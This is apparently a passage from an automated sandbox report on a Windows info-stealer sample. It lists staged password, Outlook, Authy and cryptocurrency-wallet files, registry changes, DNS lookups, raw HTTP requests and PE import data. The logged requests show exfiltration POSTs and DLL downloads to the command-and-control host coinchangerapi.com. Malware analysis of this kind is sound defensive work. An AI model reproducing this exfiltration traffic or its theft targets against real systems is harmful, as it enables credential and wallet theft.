    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\History",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\information.txt",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\outlook.txt",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\passwords.txt",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\screenshot.jpg",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Soft\\Authy",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Soft",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\Anoncoin",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\BBQCoin",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\Bitcoin",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\DashCore",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\DevCoin",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\DigitalCoin",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\ElectronCash",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\Electrum",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\ElectrumLTC",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\Ethereum",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\Exodus",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\FlorinCoin",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\Franko",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\FreiCoin",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\GoldCoinGLD",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\InfiniteCoin",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\IOCoin",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\IxCoin",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\JAXX",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\Litecoin",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\MegaCoin",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\MinCoin",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\MultiDoge",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\NameCoin",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\PrimeCoin",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\TerraCoin",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\YACoin",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets\\Zcash",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\files\\Wallets",
    "C:\\ProgramData\\NRMKRCURW9SYJ0E1D36LIKPPL\\US_00000000-0000-0000-0000-0000000000007983224969.zip",
    "C:\\Windows\\Temp\\WERCB5B.tmp",
    "C:\\Windows\\Temp\\WERCB5B.tmp.appcompat.txt",
    "C:\\Windows\\Temp\\WER35DE.tmp",
    "C:\\Windows\\Temp\\WER35DE.tmp.WERInternalMetadata.xml",
    "C:\\Windows\\Temp\\WER36BA.tmp",
    "C:\\Windows\\Temp\\WER36BA.tmp.WERDataCollectionFailure.txt",
    "C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\AppCrash_svchost.exe_Winm_51d821357ae33375e4202518b09c3ab5c649e9e_cab_091500e7\\Report.wer.tmp"
]

[*] Modified Registry Keys: [
    "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\Winmgmt\\Type",
    "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\WerSvc\\Type",
    "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\Windows Error Reporting\\Debug",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\Windows Error Reporting\\Debug\\ExceptionRecord",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\Windows Error Reporting\\Consent",
    "HKEY_USERS\\.DEFAULT\\SOFTWARE\\Microsoft\\Windows\\Windows Error Reporting\\Consent\\DefaultConsent",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\Windows Error Reporting\\Debug",
    "HKEY_USERS\\.DEFAULT\\SOFTWARE\\Microsoft\\Windows\\Windows Error Reporting\\Debug\\StoreLocation",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\Windows Error Reporting\\Debug\\StoreLocation",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\Windows Error Reporting\\Debug\\StoreLocation",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\ProcessID",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\ThrottleDrege",
    "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\Winmgmt\\Parameters\\ServiceDllUnloadOnStop",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\LastServiceStopMissed",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\LastServiceStart",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\Transports\\Decoupled\\Server\\CreationTime",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\Transports\\Decoupled\\Server\\MarshaledProxy",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\Transports\\Decoupled\\Server\\ProcessIdentifier",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\ConfigValueEssNeedsLoading",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\List of event-active namespaces",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\ESS\\//./root/CIMV2\\SCM Event Provider"
]

[*] Deleted Registry Keys: []

[*] DNS Communications: [
    {
        "type": "A",
        "request": "coinchangerapi.com",
        "answers": [
            {
                "data": "205.185.114.120",
                "type": "A"
            }
        ]
    },
    {
        "type": "A",
        "request": "ip-api.com",
        "answers": [
            {
                "data": "72.11.140.50",
                "type": "A"
            },
            {
                "data": "66.212.29.250",
                "type": "A"
            }
        ]
    }
]

[*] Domains: [
    {
        "ip": "205.185.114.120",
        "domain": "coinchangerapi.com"
    },
    {
        "ip": "72.11.140.50",
        "domain": "ip-api.com"
    }
]

[*] Network Communication - ICMP: []

[*] Network Communication - HTTP: [
    {
        "count": 1,
        "body": "--1BEF0A57BE110FD467A--\r\n",
        "uri": "http://coinchangerapi.com/418",
        "user-agent": "",
        "method": "POST",
        "host": "coinchangerapi.com",
        "version": "1.1",
        "path": "/418",
        "data": "POST /418 HTTP/1.1\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: ru-RU,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\nContent-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A\r\nContent-Length: 25\r\nHost: coinchangerapi.com\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n--1BEF0A57BE110FD467A--\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://coinchangerapi.com/freebl3.dll",
        "user-agent": "",
        "method": "GET",
        "host": "coinchangerapi.com",
        "version": "1.1",
        "path": "/freebl3.dll",
        "data": "GET /freebl3.dll HTTP/1.1\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: ru-RU,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\nHost: coinchangerapi.com\r\nConnection: Keep-Alive\r\n\r\n",
        "port": 80
    },
    {
        "count": 5,
        "body": "",
        "uri": "http://coinchangerapi.com/mozglue.dll",
        "user-agent": "",
        "method": "GET",
        "host": "coinchangerapi.com",
        "version": "1.1",
        "path": "/mozglue.dll",
        "data": "GET /mozglue.dll HTTP/1.1\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: ru-RU,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\nHost: coinchangerapi.com\r\nConnection: Keep-Alive\r\n\r\n",
        "port": 80
    },
    {
        "count": 2,
        "body": "",
        "uri": "http://coinchangerapi.com/msvcp140.dll",
        "user-agent": "",
        "method": "GET",
        "host": "coinchangerapi.com",
        "version": "1.1",
        "path": "/msvcp140.dll",
        "data": "GET /msvcp140.dll HTTP/1.1\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: ru-RU,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\nHost: coinchangerapi.com\r\nConnection: Keep-Alive\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://coinchangerapi.com/nss3.dll",
        "user-agent": "",
        "method": "GET",
        "host": "coinchangerapi.com",
        "version": "1.1",
        "path": "/nss3.dll",
        "data": "GET /nss3.dll HTTP/1.1\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: ru-RU,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\nHost: coinchangerapi.com\r\nConnection: Keep-Alive\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://coinchangerapi.com/softokn3.dll",
        "user-agent": "",
        "method": "GET",
        "host": "coinchangerapi.com",
        "version": "1.1",
        "path": "/softokn3.dll",
        "data": "GET /softokn3.dll HTTP/1.1\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: ru-RU,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\nHost: coinchangerapi.com\r\nConnection: Keep-Alive\r\n\r\n",
        "port": 80
    },
    {
        "count": 2,
        "body": "",
        "uri": "http://coinchangerapi.com/vcruntime140.dll",
        "user-agent": "",
        "method": "GET",
        "host": "coinchangerapi.com",
        "version": "1.1",
        "path": "/vcruntime140.dll",
        "data": "GET /vcruntime140.dll HTTP/1.1\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: ru-RU,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\nHost: coinchangerapi.com\r\nConnection: Keep-Alive\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "--1BEF0A57BE110FD467A--\r\n",
        "uri": "http://ip-api.com/line/",
        "user-agent": "",
        "method": "POST",
        "host": "ip-api.com",
        "version": "1.1",
        "path": "/line/",
        "data": "POST /line/ HTTP/1.1\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: ru-RU,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\nContent-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A\r\nContent-Length: 25\r\nHost: ip-api.com\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n--1BEF0A57BE110FD467A--\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://coinchangerapi.com/",
        "user-agent": "",
        "method": "POST",
        "host": "coinchangerapi.com",
        "version": "1.1",
        "path": "/",
        "data": "POST / HTTP/1.1\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: ru-RU,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\nContent-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A\r\nContent-Length: 38676\r\nHost: coinchangerapi.com\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n",
        "port": 80
    }
]

[*] Network Communication - SMTP: []

[*] Network Communication - Hosts: []

[*] Network Communication - IRC: []

[*] Static Analysis: {
    "pe": {
        "peid_signatures": null,
        "imports": [
            {
                "imports": [
                    {
                        "name": "HeapReAlloc",
                        "address": "0x431000"
                    },
                    {
                        "name": "GetNativeSystemInfo",
                        "address": "0x431004"
                    },
                    {
                        "name": "GetDriveTypeW",
                        "address": "0x431008"
                    },
                    {
                        "name": "ReadConsoleA",
                        "address": "0x43100c"
                    },
                    {
                        "name": "WaitForSingleObject",
                        "address": "0x431010"
                    },
                    {
                        "name": "FlushConsoleInputBuffer",
                        "address": "0x431014"
                    },
                    {
                        "name": "SetTapeParameters",
                        "address": "0x431018"
                    },
                    {
                        "name": "GetModuleHandleW",
                        "address": "0x43101c"
                    },
                    {
                        "name": "ExpandEnvironmentStringsA",
                        "address": "0x431020"
                    },
                    {
                        "name": "WaitNamedPipeW",
                        "address": "0x431024"
                    },
                    {
                        "name": "EnumTimeFormatsA",
                        "address": "0x431028"
                    },
                    {
                        "name": "LoadLibraryW",
                        "address": "0x43102c"
                    },
                    {
                        "name": "Sleep",
                        "address": "0x431030"
                    },
                    {
                        "name": "FormatMessageW",
                        "address": "0x431034"
                    },
                    {
                        "name": "GetStringTypeExW",
                        "address": "0x431038"
                    },
                    {
                        "name": "GetSystemDirectoryA",
                        "address": "0x43103c"
                    },
                    {
                        "name": "CreateMailslotW",
                        "address": "0x431040"
                    },
                    {
                        "name": "WritePrivateProfileStringW",
                        "address": "0x431044"
                    },
                    {
                        "name": "ReplaceFileA",
                        "address": "0x431048"
                    },
                    {
                        "name": "EnumSystemLocalesA",
                        "address": "0x43104c"
                    },
                    {
                        "name": "GetProfileIntA",
                        "address": "0x431050"
                    },
                    {
                        "name": "GetLastError",
                        "address": "0x431054"
                    },
                    {
                        "name": "GetLongPathNameW",
                        "address": "0x431058"
                    },
                    {
                        "name": "IsBadHugeWritePtr",
                        "address": "0x43105c"
                    },
                    {
                        "name": "DefineDosDeviceW",
                        "address": "0x431060"
                    },
                    {
                        "name": "MoveFileW",
                        "address": "0x431064"
                    },
                    {
                        "name": "GetFirmwareEnvironmentVariableW",
                        "address": "0x431068"
                    },
                    {
                        "name": "LocalAlloc",
                        "address": "0x43106c"
                    },
                    {
                        "name": "FindFirstVolumeMountPointW",
                        "address": "0x431070"
                    },
                    {
                        "name": "GetProfileStringA",
                        "address": "0x431074"
                    },
                    {
                        "name": "HeapLock",
                        "address": "0x431078"
                    },
                    {
                        "name": "GetVolumePathNamesForVolumeNameA",
                        "address": "0x43107c"
                    },
                    {
                        "name": "GetDefaultCommConfigA",
                        "address": "0x431080"
                    },
                    {
                        "name": "VirtualProtect",
                        "address": "0x431084"
                    },
                    {
                        "name": "DeleteCriticalSection",
                        "address": "0x431088"
                    },
                    {
                        "name": "MoveFileWithProgressW",
                        "address": "0x43108c"
                    },
                    {
                        "name": "GetVolumeInformationW",
                        "address": "0x431090"
                    },
                    {
                        "name": "WriteConsoleW",
                        "address": "0x431094"
                    },
                    {
                        "name": "GetStringTypeW",
                        "address": "0x431098"
                    },
                    {
                        "name": "ReadConsoleW",
                        "address": "0x43109c"
                    },
                    {
                        "name": "ReadFile",
                        "address": "0x4310a0"
                    },
                    {
                        "name": "OutputDebugStringW",
                        "address": "0x4310a4"
                    },
                    {
                        "name": "FlushFileBuffers",
                        "address": "0x4310a8"
                    },
                    {
                        "name": "SetStdHandle",
                        "address": "0x4310ac"
                    },
                    {
                        "name": "HeapFree",
                        "address": "0x4310b0"
                    },
                    {
                        "name": "EncodePointer",
                        "address": "0x4310b4"
                    },
                    {
                        "name": "DecodePointer",
                        "address": "0x4310b8"
                    },
                    {
                        "name": "GetCommandLineA",
                        "address": "0x4310bc"
                    },
                    {
                        "name": "RaiseException",
                        "address": "0x4310c0"
                    },
                    {
                        "name": "RtlUnwind",
                        "address": "0x4310c4"
                    },
                    {
                        "name": "IsDebuggerPresent",
                        "address": "0x4310c8"
                    },
                    {
                        "name": "IsProcessorFeaturePresent",
                        "address": "0x4310cc"
                    },
                    {
                        "name": "EnterCriticalSection",
                        "address": "0x4310d0"
                    },
                    {
                        "name": "LeaveCriticalSection",
                        "address": "0x4310d4"
                    },
                    {
                        "name": "GetStdHandle",
                        "address": "0x4310d8"
                    },
                    {
                        "name": "GetFileType",
                        "address": "0x4310dc"
                    },
                    {
                        "name": "GetStartupInfoW",
                        "address": "0x4310e0"
                    },
                    {
                        "name": "GetProcessHeap",
                        "address": "0x4310e4"
                    },
                    {
                        "name": "HeapAlloc",
                        "address": "0x4310e8"
                    },
                    {
                        "name": "ExitProcess",
                        "address": "0x4310ec"
                    },
                    {
                        "name": "GetModuleHandleExW",
                        "address": "0x4310f0"
                    },
                    {
                        "name": "GetProcAddress",
                        "address": "0x4310f4"
                    },
                    {
                        "name": "AreFileApisANSI",
                        "address": "0x4310f8"
                    },
                    {
                        "name": "MultiByteToWideChar",
                        "address": "0x4310fc"
                    },
                    {
                        "name": "WideCharToMultiByte",
                        "address": "0x431100"
                    },
                    {
                        "name": "HeapSize",
                        "address": "0x431104"
                    },
                    {
                        "name": "CloseHandle",
                        "address": "0x431108"
                    },
                    {
                        "name": "SetLastError",
                        "address": "0x43110c"
                    },
                    {
                        "name": "GetCurrentThread",
                        "address": "0x431110"
                    },
                    {
                        "name": "GetCurrentThreadId",
                        "address": "0x431114"
                    },
                    {
                        "name": "GetModuleFileNameA",
                        "address": "0x431118"
                    },
                    {
                        "name": "WriteFile",
                        "address": "0x43111c"
                    },
                    {
                        "name": "GetModuleFileNameW",
                        "address": "0x431120"
                    },
                    {
                        "name": "QueryPerformanceCounter",
                        "address": "0x431124"
                    },
                    {
                        "name": "GetCurrentProcessId",
                        "address": "0x431128"
                    },
                    {
                        "name": "GetSystemTimeAsFileTime",
                        "address": "0x43112c"
                    },
                    {
                        "name": "GetEnvironmentStringsW",
                        "address": "0x431130"
                    },
                    {
                        "name": "FreeEnvironmentStringsW",
                        "address": "0x431134"
                    },
                    {
                        "name": "UnhandledExceptionFilter",
                        "address": "0x431138"
                    },
                    {
                        "name": "SetUnhandledExceptionFilter",
                        "address": "0x43113c"
                    },
                    {
                        "name": "InitializeCriticalSectionAndSpinCount",
                        "address": "0x431140"
                    },
                    {
                        "name": "CreateEventW",
                        "address": "0x431144"
                    },
                    {
                        "name": "GetCurrentProcess",
                        "address": "0x431148"
                    },
                    {
                        "name": "TerminateProcess",
                        "address": "0x43114c"
                    },
                    {
                        "name": "TlsAlloc",
                        "address": "0x431150"
                    },
                    {
                        "name": "TlsGetValue",
                        "address": "0x431154"
                    },
                    {
                        "name": "TlsSetValue",
                        "address": "0x431158"
                    },
                    {
                        "name": "TlsFree",
                        "address": "0x43115c"
                    },
                    {
                        "name": "GetTickCount",
                        "address": "0x431160"
                    },
                    {
                        "name": "CreateSemaphoreW",
                        "address": "0x431164"
                    },
                    {
                        "name": "FatalAppExitA",
                        "address": "0x431168"
                    },
                    {
                        "name": "IsValidCodePage",
                        "address": "0x43116c"
                    },
                    {
                        "name": "GetACP",
                        "address": "0x431170"
                    },
                    {
                        "name": "GetOEMCP",
                        "address": "0x431174"
                    },
                    {
                        "name": "GetCPInfo",
                        "address": "0x431178"
                    },
                    {
                        "name": "GetConsoleCP",
                        "address": "0x43117c"
                    },
                    {
                        "name": "GetConsoleMode",
                        "address": "0x431180"
                    },
                    {
                        "name": "SetFilePointerEx",
                        "address": "0x431184"
                    },
                    {
                        "name": "SetConsoleCtrlHandler",
                        "address": "0x431188"
                    },
                    {
                        "name": "FreeLibrary",
                        "address": "0x43118c"
                    },
                    {
                        "name": "LoadLibraryExW",
                        "address": "0x431190"
                    },
                    {
                        "name": "GetDateFormatW",
                        "address": "0x431194"
                    },
                    {
                        "name": "GetTimeFormatW",
                        "address": "0x431198"
                    },
                    {
                        "name": "CompareStringW",
                        "address": "0x43119c"
                    },
                    {
                        "name": "LCMapStringW",
                        "address": "0x4311a0"
                    },
                    {
                        "name": "GetLocaleInfoW",
                        "address": "0x4311a4"
                    },
                    {
                        "name": "IsValidLocale",
                        "address": "0x4311a8"
                    },
                    {
                        "name": "GetUserDefaultLCID",
                        "address": "0x4311ac"
                    },
                    {
                        "name": "EnumSystemLocalesW",
                        "address": "0x4311b0"
                    },
                    {
                        "name": "CreateFileW",
                        "address": "0x4311b4"
                    }
                ],
                "dll": "KERNEL32.dll"
            },
            {
                "imports": [
                    {
                        "name": "TabbedTextOutW",
                        "address": "0x4311bc"
                    },
                    {
                        "name": "GetScrollBarInfo",
                        "address": "0x4311c0"
                    },
                    {
                        "name": "RedrawWindow",
                        "address": "0x4311c4"
                    },
                    {
                        "name": "MsgWaitForMultipleObjectsEx",
                        "address": "0x4311c8"
                    },
                    {
                        "name": "GetMessageTime",
                        "address": "0x4311cc"
                    },
                    {
                        "name": "PostQuitMessage",
                        "address": "0x4311d0"
                    }
                ],
                "dll": "USER32.dll"
            }
        ],
        "digital_signers": null,
        "exported_dll_name": null,
        "actual_checksum": "0x000c5989",
        "overlay": null,
        "imagebase": "0x00400000",
        "reported_checksum": "0x000c5989",
        "icon_hash": null,
        "entrypoint": "0x00408e07",
        "timestamp": "2018-01-05 06:24:08",
        "osversion": "5.1",
        "sections": [
            {
                "name": ".text",
                "characteristics": "IMAGE_SCN_CNT_CODE|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ",
                "virtual_address": "0x00001000",
                "size_of_data": "0x0002fc00",
                "entropy": "6.73",
                "raw_address": "0x00000400",
                "virtual_size": "0x0002faad",
                "characteristics_raw": "0x60000020"
            },
            {
                "name": ".rdata",
                "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ",
                "virtual_address": "0x00031000",
                "size_of_data": "0x00084200",
                "entropy": "6.31",
                "raw_address": "0x00030000",
                "virtual_size": "0x000841ac",
                "characteristics_raw": "0x40000040"
            },
            {
                "name": ".data",
                "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE",
                "virtual_address": "0x000b6000",
                "size_of_data": "0x00002400",
                "entropy": "2.65",
                "raw_address": "0x000b4200",
                "virtual_size": "0x00014dec",
                "characteristics_raw": "0xc0000040"
            },
            {
                "name": ".rsrc",
                "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ",
                "virtual_address": "0x000cb000",
                "size_of_data": "0x00005400",
                "entropy": "5.56",
                "raw_address": "0x000b6600",
                "virtual_size": "0x00005228",
                "characteristics_raw": "0x40000040"
            },
            {
                "name": ".reloc",
                "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_DISCARDABLE|IMAGE_SCN_MEM_READ",
                "virtual_address": "0x000d1000",
                "size_of_data": "0x00002600",
                "entropy": "6.54",
                "raw_address": "0x000bba00",
                "virtual_size": "0x00002454",
                "characteristics_raw": "0x42000040"
            }
        ],
        "resources": [],
        "dirents": [
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_EXPORT",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x000b46cc",
                "name": "IMAGE_DIRECTORY_ENTRY_IMPORT",
                "size": "0x0000003c"
            },
            {
                "virtual_address": "0x000cb000",
                "name": "IMAGE_DIRECTORY_ENTRY_RESOURCE",
                "size": "0x00005228"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_EXCEPTION",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_SECURITY",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x000d1000",
                "name": "IMAGE_DIRECTORY_ENTRY_BASERELOC",
                "size": "0x00002454"
            },
            {
                "virtual_address": "0x00031230",
                "name": "IMAGE_DIRECTORY_ENTRY_DEBUG",
                "size": "0x00000038"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_COPYRIGHT",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_GLOBALPTR",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_TLS",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x000b34b0",
                "name": "IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG",
                "size": "0x00000040"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00031000",
                "name": "IMAGE_DIRECTORY_ENTRY_IAT",
                "size": "0x000001d8"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_RESERVED",
                "size": "0x00000000"
            }
        ],
        "exports": [],
        "guest_signers": {},
        "imphash": "47e8962547d49e19305bf0cef7d8d1c4",
        "icon_fuzzy": null,
        "icon": null,
        "pdbpath": "C:\\gidu47_kucopevareye\\m.pdb\\x00ime\\crypt\\tmp_694387568\\bin\\hafo.pdb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xb9\\x00\\x00\\x00\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xe8}K\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff",
        "imported_dll_count": 2,
        "versioninfo": []
    }
}

[*] Resolved APIs: [
    "kernel32.dll.FlsAlloc",
    "kernel32.dll.FlsFree",
    "kernel32.dll.FlsGetValue",
    "kernel32.dll.FlsSetValue",
    "kernel32.dll.InitializeCriticalSectionEx",
    "kernel32.dll.CreateEventExW",
    "kernel32.dll.CreateSemaphoreExW",
    "kernel32.dll.SetThreadStackGuarantee",
    "kernel32.dll.CreateThreadpoolTimer",
    "kernel32.dll.SetThreadpoolTimer",
    "kernel32.dll.WaitForThreadpoolTimerCallbacks",
    "kernel32.dll.CloseThreadpoolTimer",
    "kernel32.dll.CreateThreadpoolWait",
    "kernel32.dll.SetThreadpoolWait",
    "kernel32.dll.CloseThreadpoolWait",
    "kernel32.dll.FlushProcessWriteBuffers",
    "kernel32.dll.FreeLibraryWhenCallbackReturns",
    "kernel32.dll.GetCurrentProcessorNumber",
    "kernel32.dll.GetLogicalProcessorInformation",
    "kernel32.dll.CreateSymbolicLinkW",
    "kernel32.dll.EnumSystemLocalesEx",
    "kernel32.dll.CompareStringEx",
    "kernel32.dll.GetDateFormatEx",
    "kernel32.dll.GetLocaleInfoEx",
    "kernel32.dll.GetTimeFormatEx",
    "kernel32.dll.GetUserDefaultLocaleName",
    "kernel32.dll.IsValidLocaleName",
    "kernel32.dll.LCMapStringEx",
    "kernel32.dll.GetTickCount64",
    "kernel32.dll.LoadLibraryA",
    "kernel32.dll.VirtualAlloc",
    "kernel32.dll.VirtualProtect",
